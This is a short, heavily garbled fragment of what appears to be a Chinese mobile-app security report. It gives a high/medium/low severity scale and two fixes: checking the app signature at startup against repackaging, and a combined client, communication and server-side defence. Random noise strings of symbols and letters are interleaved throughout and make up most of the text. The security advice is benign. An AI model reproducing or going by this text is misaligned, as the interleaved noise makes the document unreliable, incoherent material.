* m6 V- v( Y6 @/ j: H5 g+ ]; v - ^' H+ G8 I9 D- S2 | 严重程度	1 H. Q2 j: m+ i* w' k k2 d2 l$ {3 g/ Z 高 + W0 s# K7 M- P. W, X3 @ ' K8 j$ r1 h2 V9 m' d- S" F4 F 2 B6 C4 f* b, x+ s1 ^: N	$ Z( L+ w6 ] r6 G ■ * p+ j, o3 m2 m 6 I8 E$ ]) Q1 d/ h ] * Z/ y: [1 I0 j4 p9 d2 u8 q# v	6 ^! Y+ E( q! S! V" I # W s3 c0 U8 b) d / ^3 v, K5 z" v2 X% Y# b 中 6 q1 k7 I. w. C7 S' b6 q3 T& O3 b# B 4 P) ^/ ^- P F9 j# x! q	1 z6 V% c) a, A, A4 ^* d$ G7 Y ? : k' u: f$ N+ x+ t 0 h; v2 M. B3 N; z % u! @: U0 M4 Z   ! K( c+ z* C3 ?9 k/ b/ ~! B 3 Z0 ^/ T. V( Z# a: v - _8 l W, m) ?1 t) E1 ~0 I" k 3 ^) e7 U- r# ]: V/ {- f0 \	0 a: R6 j5 i8 E( @# t# c5 | 6 r9 ]8 h/ R" l" @* u% z ; q% D- Z6 j$ [# B 低 # c! [0 M. {) X7 | . `; C- c; E' @ 6 A8 C( ]$ ^1 s0 g9 q: }3 c	+ K2 `5 |& P# R' l # F/ I8 r( a, z3 u" w . V5 E7 s9 m. C# o   : Z& L7 _# D# ^! D ) h! b) U$ X$ @

* b' a* W6 d! G6 |9 A4 q

  9 m2 Y6 y% f w% s ! j8 O6 v5 V( g

4 Z7 V3 d8 E( A0 l. t

9 B1 ]2 t6 h; c2 P: @, B 修复方法： . }8 @ B) ]( ^+ [# Q! p! u

; m0 X% D8 c8 `8 }

' t, }% W A. N               1.在 APP 启动时应做签名校验防止二次打包。
) k2 c3 D# H3 T2 }5 {+ a 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 8 k1 X3 ?% C3 y

0 P% J: B0 S' j4 q 5 z3 z) _( b% V9 H. E3 f

 

; `% o! X. ~0 u0 Z9 {. I 2 ]! ?5 H9 a: r4 d4 ?3 P 1 i8 N) f* w. g( q7 n E" {

$ I+ a2 j1 r- @